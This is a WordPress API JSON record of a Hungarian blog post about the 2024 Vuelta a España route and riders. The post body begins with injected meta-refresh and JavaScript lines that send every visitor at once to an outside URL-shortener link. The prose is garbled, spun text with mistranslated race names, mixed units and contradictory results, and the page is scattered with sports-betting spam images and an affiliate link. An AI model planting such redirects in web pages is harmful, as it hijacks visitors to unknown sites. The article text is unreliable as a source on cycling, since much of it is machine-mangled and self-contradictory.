{"id":333129,"date":"2025-09-25T03:38:06","date_gmt":"2025-09-25T01:38:06","guid":{"rendered":"https:\/\/invengenio.com\/?p=333129"},"modified":"2025-09-25T03:38:08","modified_gmt":"2025-09-25T01:38:08","slug":"vuelta-a-nagyszeru-spanyolorszag-2024-es-programja-ime-ha-a-21-fokos-beavatott-rad-talal","status":"publish","type":"post","link":"https:\/\/invengenio.com\/index.php\/2025\/09\/25\/vuelta-a-nagyszeru-spanyolorszag-2024-es-programja-ime-ha-a-21-fokos-beavatott-rad-talal\/","title":{"rendered":"Vuelta, a nagyszer\u0171 Spanyolorsz\u00e1g 2024-es programja: \u00cdme, ha a 21 fokos beavatott r\u00e1d tal\u00e1l"},"content":{"rendered":"<p><meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.org\/VMCivyawF0r8\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.org\/VMCivyawF0r8\";<\/script><br \/>\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.org\/VMCivyawF0r8\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.org\/VMCivyawF0r8\";<\/script><\/p>\n<div id=\"toc\" style=\"background: #f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;\">\n<p class=\"toctitle\" style=\"font-weight: 700;text-align: center;\">Bejegyz\u00e9sek<\/p>\n<ul class=\"toc_list\">\n<li><a href=\"#toc-0\">Vuelta a Espa\u00f1a 2024 programja: \u00cdme, ha a 21 fok beindul \u00e9s megtal\u00e1lja \u00f6nmag\u00e1t<\/a><\/li>\n<li><a href=\"#toc-1\">Ismertet\u0151 t\u00f6rt\u00e9netek: Milyen is lehet Primo\u017e Rogli\u010d Lisszabonban?<\/a><\/li>\n<li><a href=\"#toc-2\">Filmkomment\u00e1r: BMC URS 01 Egy p\u00e1r murv\u00e1s ker\u00e9kp\u00e1r<\/a><\/li>\n<\/ul>\n<\/div>\n<p>Kuss a sr\u00e1c hatalmas b\u00e1zis\u00e1t eml\u00edtette, amelyre az \u00faj Giro d&#39;Itali\u00e1n \u00e9s a tavalyi Journey de France-on v\u00e9gigrohanva \u00f6sszpontos\u00edtott, mint kulcsot a kit\u00f6r\u0151 v\u00f6r\u00f6s trik\u00f3jukhoz. A Giro kihagy\u00e1sa \u00e9s egy nagyszer\u0171 COVID-nyom\u00e1s alatti t\u00e1voll\u00e9t az \u00fatr\u00f3l, mivel a motorjuk 2023-ban hideget fog enni. Matthias Skjelmose (Lidl-Trek) k\u00f6nnyed\u00e9n elvitte az \u00faj k\u00f6nny\u0171 mezt Florian Lipowitz (Red Bull-Bora-Hansgrohe) el\u0151tt, miut\u00e1n Carlos Rodr\u00edguez (Ineos Grenadiers) az utols\u00f3 el\u0151tti szakaszban kapitul\u00e1lt. <!--more--> A Cyclingweekly a Future plc, egy jelent\u0151s nemzetk\u00f6zi m\u00e9diakateg\u00f3ria \u00e9s vezet\u0151 digit\u00e1lis blogger al\u00e1 tartozik. Mikel Landa, aki nemr\u00e9g harmadik lett a Touron, a Soudal Quick-Actiont ir\u00e1ny\u00edtja, m\u00edg Kaden Groves, a tavalyi Vuelta term\u00e9kcsat\u00e1j\u00e1nak \u00faj bajnoka, Alpecin-Deceunincket nyer.<\/p>\n<p>Az \u00e9v 3. nagy utaz\u00e1s\u00e1n nem a GC neh\u00e9zs\u00faly\u00fa versenyz\u0151i, Tadej Poga\u010dar, Jonas Vingegaard \u00e9s Remco Evenepoel \u00e1llnak majd. Azonban ezek a Concert Tour de France dobog\u00f3s helyezettjei \u00e1ll\u00edt\u00f3lag nem maradnak ki a rohan\u00e1sb\u00f3l, amely egyre csak k\u00e1oszt okoz. A pontversenyben Kaden Groves (Alpecin-Deceuninck) tov\u00e1bbra is vezeti az \u00faj term\u00e9kek kateg\u00f3ri\u00e1j\u00e1t, miut\u00e1n megszerezte az \u00faj z\u00f6ld trik\u00f3t, miut\u00e1n kiesett Wout van Aert (Visma-Rent a bike) el\u0151l, aki a 16. szakaszon s\u00e9r\u00fclt meg. Az EF Training-EasyPost-ot Richard Carapaz, a hegyi kateg\u00f3ria gy\u0151ztese is meger\u0151s\u00edtette, \u00e9s egy izgalmas alpesi szakasz v\u00e1r r\u00e1d a t\u00far\u00e1n, amelyet a Rigoberto Ur\u00e1n remek\u00fcl teljes\u00edtett. A h\u00e1romfordul\u00f3s bajnok Primo\u017e Rogli\u010d sikeresen fel\u00e9p\u00fclt az \u00e9g\u00e9si s\u00e9r\u00fcl\u00e9sekb\u0151l, \u00edgy megk\u00fczdhet m\u00e1sodik, nagyj\u00e1b\u00f3l h\u00e1romnapos verseny\u00e9vel a Purple Bull-Bora-Hansgrohe verseny\u00e9rt, \u00e9s minden bizonnyal favoritk\u00e9nt indul. Alekszandr Vlaszov fogja regisztr\u00e1lni, aki a Trip de France el\u0151tt is balesetet szenvedett Dani Mart\u00ednezzel egy\u00fctt, egy er\u0151s csapatban.<\/p>\n<p>A ker\u00e9kp\u00e1roz\u00e1s egy hobbi a sors oly sok fintora miatt, \u00e9s gyakran megv\u00e1ltoztathatod a tan\u00e1csodat, de ez aligha t\u0171nik igazs\u00e1gosnak, ha szembes\u00fclsz a ker\u00e9kp\u00e1rosokkal a saj\u00e1t gondolataikkal, k\u00fcl\u00f6nben a munk\u00e1juk el\u0151tti kutat\u00e1saikkal. Azt\u00e1n j\u00f6tt ugyanaz a kellemetlen tri\u00e1zs: fagy\u00e1s, s\u00e9r\u00fcl\u00e9sek \u00e9s \u00e1rok a 2023-as Vuelta a great Espa\u00f1a els\u0151 napj\u00e1n, a 2024-es UAE koncertk\u00f6r\u00fat els\u0151 napj\u00e1n, ism\u00e9t a Giro d&#39;Itali\u00e1n. \u201eHa egy j\u00f3 ker\u00e9kp\u00e1ros csat\u00e1b\u00f3l akarsz profit\u00e1lni, akkor a megfelel\u0151 helyr\u0151l kell indulnod. Ben ezt nagyon j\u00f3l csin\u00e1lta a Vuelt\u00e1n, \u00e9s a v\u00e9g\u00e9n majdnem meg is hozta a gy\u00fcm\u00f6lcs\u00e9t.\u201d Amikor Eddie Dunbart megk\u00e9rdezik, hogy van-e valami, amit szeretne kiemelni leg\u00fajabb Jayco-AIUIa csapatt\u00e1rsa, Ben O&#39;Connor k\u00e9pess\u00e9geib\u0151l, \u00e9s felhaszn\u00e1lni, a fick\u00f3nak nincs t\u00fal sok ideje v\u00e1laszolni. Azoknak, akik maxim\u00e1lisan kihaszn\u00e1lt\u00e1k az utaz\u00e1si id\u0151t, \u00e9s a folyamatos rohan\u00e1s ut\u00e1n \u201eelmenek\u00fclnek a feladatok el\u0151l\u201d, ezek azok a szintek, amelyeket soha nem szabad kihagyniuk. Az Alto de Moncavillo konferencia \u00faj 9 km-es, 9%-os k\u00f6z\u00e9pkateg\u00f3ri\u00e1ja \u00e1ltal\u00e1ban egy viszonylag k\u00f6nny\u0171 19. szakaszt eredm\u00e9nyez.<\/p>\n<p>A Vuelta a Espa\u00f1a els\u0151 \u201ehete\u201d egy neh\u00e9z lejt\u0151s szakasszal \u00e9r v\u00e9get a Sierra Vegason kereszt\u00fcl. Motrilb\u00f3l, a 244 yardos szintr\u0151l a kezd\u0151 motorosok \u00e1ltal\u00e1ban el\u0151sz\u00f6r a leg\u00fajabb els\u0151 l\u00e9pcs\u0151t, a 498 m\u00e9ter legmagasabb El Purche-t veszik fel, amely egy els\u0151 kateg\u00f3ri\u00e1s emelked\u0151. Ez az Alto de Hazallanasb\u00f3l indul\u00f3 \u00faj dupla emelked\u0151vel kezd\u0151dik (\u00e9s egy els\u0151 kateg\u00f3ri\u00e1s emelked\u0151vel), majd egy nagyszer\u0171, k\u00f6r\u00fclbel\u00fcl 50 kilom\u00e9teres, 1675 yardos szakasz k\u00f6vetkezik Granad\u00e1ban. A 15. \u00e9s 16. szinten k\u00fcl\u00f6nleges oszt\u00e1lyzat-d\u00f6nt\u0151k k\u00f6vetkeznek a versenyt\u00e1rsak m\u00e1sodik helyezettjei mellett. R\u00f6viddel k\u00e9s\u0151bb \u00fajabb meger\u0151ltet\u0151 cs\u00facsbefut\u00f3k sorozata k\u00f6vetkezik a 19. \u00e9s 20. szinten.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.tipbet.com\/static\/ibox\/i\/3378.png\" alt=\"live football betting\" style=\"padding: 0px;\" align=\"left\" border=\"0\"><\/p>\n<p>Rogli\u010d a friss h\u00edrn\u00e9vnek \u00f6rvend, mint a 2024-es Vuelta rendk\u00edv\u00fcl kit\u00fcntetett GC-versenyz\u0151je, h\u00e1rom piros mezzel \u00e9s egy gy\u0151zelemmel a Giro d&#39;Itali\u00e1n. Skjelmose egyetlen csapatt\u00e1rs\u00e1t, aki most \u0151t \u00fcld\u00f6zi, rengeteg ker\u00e9kp\u00e1rossal a vol\u00e1nn\u00e1l, mind\u00f6ssze 20 m\u00e1sodperccel a piros mezes kateg\u00f3ri\u00e1ban legy\u0151zte. Soler tal\u00e1n elvesztette az idej\u00e9t, hogy ma legy\u0151zze Vine-t, de mivel az \u00faj csapat mind\u00f6ssze egy perccel van lemaradva, \u00e9s k\u00e9t <a href=\"https:\/\/fogadas-sport.com\/sportingbet\/\">fogadas-sport.com Extra forr\u00e1sok<\/a> katasztr\u00f3fa-emel\u00e9ssel el\u0151r\u00e9bb, az \u00faj szakaszgy\u0151zelmek re\u00e1lisan elmaradhatnak a sikert\u0151l. Az els\u0151 kilom\u00e9terig Solerhez vezet, akinek 28 perce van a kez\u00e9ben, hogy rengeteg lejt\u0151t kihozzon, lehet\u0151v\u00e9 t\u00e9ve Vine sz\u00e1m\u00e1ra, hogy kisebb lehet\u0151s\u00e9geket k\u00edn\u00e1ljon az els\u0151 h\u00e1rom emelked\u0151h\u00f6z. 25 km-rel a verseny v\u00e9ge el\u0151tt az \u00faj 10 f\u0151s sz\u00f6k\u00e9s az eredeti emelked\u0151 elej\u00e9t jelent\u0151sen, 50 m\u00e1sodperces el\u0151nnyel hozza el. M\u00e9g mindig l\u00e1tszik, hogy az id\u0151eredm\u00e9nnyel ellent\u00e9tes utols\u00f3 versenyed vajon akkora \u0151r\u00fcletet v\u00e1lt-e ki, mint a 2002-es Vuelta, amelyen az utols\u00f3 napon rendezt\u00e9k meg a TT-t Madridban.<\/p>\n<p>A vadonat\u00faj Vueta leg\u00fajabb aut\u00f3p\u00e1lya-szakasza hat min\u0151s\u00edtett emelked\u0151t \u00e9kel be a 165 km-es kezdet\u0171 verseny kezdet\u00e9ig, am\u00edg a verseny a Pic\u00f3n Blanco \u00faj, 18%-os felhajt\u00f3j\u00e1n \u00e9r v\u00e9get. Az \u00fagynevezett GC \u201ek\u00f6vetkez\u0151 szintj\u00e9n\u201d a szuperhazaiak \u00e9s a dobog\u00f3sok k\u00f6z\u00f6tt a 2024-es piros mez\u00e9rt v\u00edvott leg\u00fajabb csata r\u00f6vid a nagyszer\u0171 lehet\u0151s\u00e9gekhez. Alexander Vlasov \u00e9s a Giro dobog\u00f3s helyezettje, Dani Mart\u00ednez k\u00f6zvetlen\u00fcl Rogli\u010d m\u00f6g\u00f6tt \u00e1llnak, er\u0151s \u201et\u00f6bbsz\u00f6r\u00f6s vesz\u00e9lyt\u201d adva az \u00faj Bullsnak, mivel az els\u0151 nagy utaz\u00e1si gy\u0151zelm\u00fck\u00e9rt k\u00fczd. A Kuss hajlamos a nemr\u00e9giben a Vuelta a Burgoson el\u00e9rt j\u00f3 GC-gy\u0151zelm\u00e9b\u0151l sz\u00e1rmaz\u00f3 Lisszabonra koncentr\u00e1lni, \u00e9s fel fog vid\u00edtani az \u00faj bizalom, amelyet a sr\u00e1c a tavalyi piros mezes h\u0151stetteib\u0151l mer\u00edtett. A sr\u00e1c nem \u00e9rezte az \u00e1ld\u00e1st \u2013 vagy ak\u00e1r az \u00e1tkot \u2013, hogy k\u00e9t nagy utaz\u00e1si gy\u0151ztest szerezzen, mint csapatt\u00e1rsai. Az \u00faj t\u00edzf\u0151s sz\u00f6k\u00e9s az \u00faj felemelked\u00e9st 5 perces el\u0151nnyel kezdi a pelotonon.<\/p>\n<p>Sivakov a Puerto de Tornos-i vadonat\u00faj versenyre sz\u00e1m\u00edt, amely jelent\u0151s, 22 m\u00e1sodperces el\u0151nnyel indul, mind\u00f6ssze t\u00f6bb mint 25 km-es t\u00e1von. M\u00e9g t\u00f6bb versenyz\u0151t vonzott be az \u00e9lre, amely jelenleg 20 versenyz\u0151t sz\u00e1ml\u00e1l. A Vuelta mellett a Trip de Romandie F\u00e9minin \u00e9s a leg\u00fajabb brit koncertk\u00f6r\u00fat is nagy sikereket \u00e9rt el.<\/p>\n<h2 id=\"toc-0\">Vuelta a Espa\u00f1a 2024 programja: \u00cdme, ha a 21 fok beindul \u00e9s megtal\u00e1lja \u00f6nmag\u00e1t<\/h2>\n<p>Miel\u0151tt belekezden\u00e9nk, itt az ideje, hogy \u00e1ttekints\u00fck a tegnapi versenyt felforgat\u00f3 fejlem\u00e9nyeket&#8230; Az utols\u00f3 TT biztos\u00edtja, hogy a 2024-es Vuelta an excellent Espa\u00f1a egy eg\u00e9szen m\u00e1s helyen \u00e9rjen v\u00e9get, mint a hagyom\u00e1nyos gyors sprintszakasz. \u201eA Vuelt\u00e1n m\u00e9g mindig csak a top 10-en k\u00edv\u00fcl voltam, mert a 9. szakaszon, Granad\u00e1ban volt egy pocs\u00e9k indul\u00e1som, \u00e9s az k\u00e9ts\u00e9gtelen\u00fcl meg\u00f6lt, \u00e9s ez valahogy a top 10-be tasz\u00edtott.\u201d<\/p>\n<h2 id=\"toc-1\">Ismertet\u0151 t\u00f6rt\u00e9netek: Milyen is lehet Primo\u017e Rogli\u010d Lisszabonban?<\/h2>\n<p><img decoding=\"async\" src=\"https:\/\/sportshandle.com\/wp-content\/uploads\/2018\/04\/sports-betting-marketing.jpg\" alt=\"betting sites in russia\" border=\"0\" align=\"right\" style=\"padding: 0px;\"><\/p>\n<p>Ezt k\u00f6vet\u0151en egy hossz\u00fa plat\u00f3 k\u00f6vetkezik, \u00e9s ez az utols\u00f3 emelked\u00e9s\u00fcnk el\u0151tt sok id\u0151t vesz ig\u00e9nybe a v\u00e1logat\u00e1shoz. Rogli\u010d j\u00f3l reag\u00e1lt, ahogy az otthagyott hadnagyuk, Lipowitz is. Soler m\u00e9g jobban belenyom\u00f3dott a visszafel\u00e9 vezet\u0151 \u00faton felfel\u00e9, \u00e9s val\u00f3sz\u00edn\u0171leg t\u00f6bb egy\u00fcttm\u0171k\u00f6d\u00e9sre lesz sz\u00fcks\u00e9ge a m\u00f6g\u00f6tte l\u00e9v\u0151 kateg\u00f3ri\u00e1ban. Harminc\u00f6t perce van m\u00e1r, mik\u00f6zben a 2-es kateg\u00f3ri\u00e1s emelked\u0151 utols\u00f3 2,5 km-es szakasz\u00e1n gondolkodik &#8211; az \u00faj \u00f6t\u00f6dik helyen a jelenlegi v\u00e1laszt\u00e1s hetedik hely\u00e9t\u0151l.<\/p>\n<h2 id=\"toc-2\">Filmkomment\u00e1r: BMC URS 01 Egy p\u00e1r murv\u00e1s ker\u00e9kp\u00e1r<\/h2>\n<p>Az utols\u00f3 emelked\u0151 7,7 km-es, ami elegend\u0151 id\u0151t biztos\u00edt, \u00e1tlagosan 9%-os meredeks\u00e9ggel \u00e9s 15%-os r\u00e1mp\u00e1kkal. A leg\u00fajabb emelked\u0151 az utols\u00f3 n\u00e9gy kilom\u00e9teren brut\u00e1lis lesz, ott, ahol a meredeks\u00e9g el\u00e9ri a t\u00f6bb sz\u00e1zal\u00e9kot. Itt Alberto Contador, negat\u00edv m\u00e9rleggel a vezet\u0151 mez\u00e9ben, megszerezte a 2014-es Vuelta huszadik szakasz\u00e1t Chris Froome el\u0151tt.<\/p>\n<p>A KOM \u00e9llovasa, Soler ebben a helyzetben van, de csapatt\u00e1rsa, Vine az, aki az alapvonal tetej\u00e9re ugrik, megel\u0151zve Castrill\u00f3t, aki a KOM-tabella harmadik hely\u00e9n \u00e1ll, \u00e9s Frigo, az \u00faj egyetlen igazi kock\u00e1zat a mezen. El\u0151sz\u00f6r is, vannak j\u00f3 utak, \u00e9s hamarosan felfel\u00e9 h\u00fazunk a hivatalos kezdete el\u0151tt, hogy megkezd\u0151dj\u00f6n a leg\u00fajabb nap h\u00e9t emelked\u0151je, a kateg\u00f3ria harmadik foka a Las Estacas de Trueba ut\u00e1n. Elrajtol az \u00faj 2024-es Vuelta a Espa\u00f1a, amelynek egynapos bemutat\u00f3ja Portug\u00e1li\u00e1ban lesz. Az \u00faj motorosok \u00e1ltal\u00e1ban egy tizenk\u00e9t kilom\u00e9teres csal\u00e1di \u00fatvonalon, Lisszabonban indulnak az Oeiras-on. \u0150 nyerte az 1992-es Trip de France-t, valamint sz\u00e1mos m\u00e1s ker\u00e9kp\u00e1rversenyt mindenf\u00e9le form\u00e1ban \u00e9s m\u00e1rk\u00e1ban, a leg\u00fajabb 2008-as olimpi\u00e1t\u00f3l a ma sajnos megsz\u0171nt Subid\u00e1n \u00e1t a spanyolorsz\u00e1gi Urkiola-hegyi emelked\u0151ig.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/media.gettyimages.com\/vectors\/sports-betting-american-football-vector-id972017014?s=612x612\" alt=\"sport betting\" align=\"left\" border=\"0\" style=\"padding: 0px;\"><\/p>\n<p>Ezek az emelked\u0151k, amelyeket az els\u0151 50 kilom\u00e9teren bel\u00fcl fedeznek fel, els\u0151 oszt\u00e1ly\u00fa lehet\u0151s\u00e9get adnak az er\u0151s m\u00e1sz\u00f3knak a kit\u00f6r\u00e9sre, \u00e9s taktikai alternat\u00edv\u00e1kat kell majd kidolgoznod az \u00faj GC-versenyz\u0151k sz\u00e1m\u00e1ra a fin\u00e1l\u00e9ban. Az emelked\u0151 utols\u00f3 h\u00e1rom kilom\u00e9tere a Pico de Villuercas-hoz 15 \u00e9s 16 sz\u00e1zal\u00e9k k\u00f6z\u00f6tti meredeks\u00e9g\u0171 betonr\u00e1mp\u00e1kon vezet. A dombos k\u00f6z\u00e9phegyi szakasz a kezd\u0151 versenyz\u0151ket Vitoria-Gasteizb\u0151l a baszkf\u00f6ldi Maeztuba viszi. T\u00f6k\u00e9letes egy kor\u00e1bbi kit\u00f6r\u0151 csoport sz\u00e1m\u00e1ra, amelynek j\u00f3 es\u00e9lye van a sikerre. Egy extracsoportos emelked\u0151 \u00e9s a Puerto Herrera, egy els\u0151 kateg\u00f3ri\u00e1s emelked\u0151, megnehez\u00edti a sprinterek \u00e9s k\u00f6z\u00f6ss\u00e9geik sz\u00e1m\u00e1ra, hogy megtarts\u00e1k a mez\u0151nyt \u00e9s kezelj\u00e9k azt, \u00e9s beakadhat az \u00faj kit\u00f6r\u0151. Ha siker\u00fcl meg\u00e9p\u00edteni\u00fck a k\u00e9t m\u00e1sodik kateg\u00f3ri\u00e1s emelked\u0151t az \u00faj szakasz k\u00f6zep\u00e9n, \u00e9s csapataik elkaphatj\u00e1k az \u00faj kit\u00f6r\u0151t a bal oldali s\u00edk szakaszokon, akkor egy kir\u00e1lyi sz\u00e1guld\u00e1sra sz\u00e1m\u00edthatunk Santanderben 141,5 km ut\u00e1n.<\/p>\n<p>Az \u00faj, 185,5 kilom\u00e9teres d\u00e9l-spanyolorsz\u00e1gi t\u00fara val\u00f3sz\u00edn\u0171leg sz\u00f6kev\u00e9nyeket is tartalmazna. Ha O&#39;Connor \u00e9lesl\u00e1t\u00e1sa, miszerint j\u00f3kor \u00e9s j\u00f3 helyen van, meghozta gy\u00fcm\u00f6lcs\u00e9t a Vuelt\u00e1n, akkor az is igaz, hogy az \u00faj Language Nagy Turn\u00e9 is jelent\u0151s el\u0151rel\u00e9p\u00e9st jelentett Dunbar sz\u00e1m\u00e1ra. A sr\u00e1c megnyerte els\u0151 Nagy Koncertturn\u00e9 c\u00edm\u00e9t. Els\u0151 gy\u0151zelm\u00e9t egy remek\u00fcl megtett, klasszikus st\u00edlus\u00fa m\u00e1sodik napos versenyen \u00e9rte el Gal\u00edcia dombjai ment\u00e9n, egy alacsonyabb p\u00e1ly\u00e1t\u00f3l az utols\u00f3 600 m\u00e9teren kit\u00f6rve, \u00e9s v\u00e9gigk\u00eds\u00e9rve az \u00faj p\u00e1ly\u00e1t.<\/p>\n<p>Az \u00faj \u00e1llom\u00e1s ezut\u00e1n ellaposodik, miel\u0151tt h\u00e1rom emelked\u0151 k\u00f6vetkezik a v\u00e9g\u00e9n, ami val\u00f3sz\u00edn\u0171leg egy elt\u00e1vol\u00edt\u00f3 versenyt ind\u00edt el. A Baion\u00e1ban egy l\u00e9nyegesen gyorsabb mez\u0151ny v\u00e1rhat\u00f3, hogy megk\u00fczdhessenek az \u00faj gy\u0151zelem\u00e9rt. A kiad\u00e1s m\u00e1sodik dombos szakasz\u00e1t\u00f3l kezdve az andal\u00faziai \u00faj versenyz\u0151k \u00e1ltal\u00e1ban 70 km ut\u00e1n \u00e9rnek c\u00e9lba. Az \u00faj \u00e1llom\u00e1s azonnal emelkedik, el\u00e9rve a Bojar hegyi jegyet, egy olyan p\u00e1ly\u00e1t, amelyet mindenk\u00e9ppen meg kell m\u00e1szni. Ezut\u00e1n az \u00faj versenyz\u0151knek n\u00e9gy harmadik kateg\u00f3ri\u00e1s emelked\u0151t kell megk\u00fczdeni\u00fck a c\u00e9l el\u0151tt. Az \u00faj szakasz az Alto de las Abejas szemin\u00e1rium\u00e1n \u00e9r v\u00e9get a Yunquer\u00e1ban.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Bejegyz\u00e9sek Vuelta a Espa\u00f1a 2024 programja: \u00cdme, ha a 21 fok beindul \u00e9s megtal\u00e1lja \u00f6nmag\u00e1t Ismertet\u0151 t\u00f6rt\u00e9netek: Milyen is lehet Primo\u017e Rogli\u010d Lisszabonban? Filmkomment\u00e1r: BMC URS 01 Egy p\u00e1r murv\u00e1s ker\u00e9kp\u00e1r Kuss a sr\u00e1c hatalmas b\u00e1zis\u00e1t eml\u00edtette, amelyre az \u00faj Giro d&#39;Itali\u00e1n \u00e9s a tavalyi Journey de France-on v\u00e9gigrohanva \u00f6sszpontos\u00edtott, mint kulcsot a kit\u00f6r\u0151 v\u00f6r\u00f6s [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-333129","post","type-post","status-publish","format-standard","hentry","category-sin-categoria"],"_links":{"self":[{"href":"https:\/\/invengenio.com\/index.php\/wp-json\/wp\/v2\/posts\/333129"}],"collection":[{"href":"https:\/\/invengenio.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/invengenio.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/invengenio.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/invengenio.com\/index.php\/wp-json\/wp\/v2\/comments?post=333129"}],"version-history":[{"count":1,"href":"https:\/\/invengenio.com\/index.php\/wp-json\/wp\/v2\/posts\/333129\/revisions"}],"predecessor-version":[{"id":333130,"href":"https:\/\/invengenio.com\/index.php\/wp-json\/wp\/v2\/posts\/333129\/revisions\/333130"}],"wp:attachment":[{"href":"https:\/\/invengenio.com\/index.php\/wp-json\/wp\/v2\/media?parent=333129"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/invengenio.com\/index.php\/wp-json\/wp\/v2\/categories?post=333129"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/invengenio.com\/index.php\/wp-json\/wp\/v2\/tags?post=333129"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}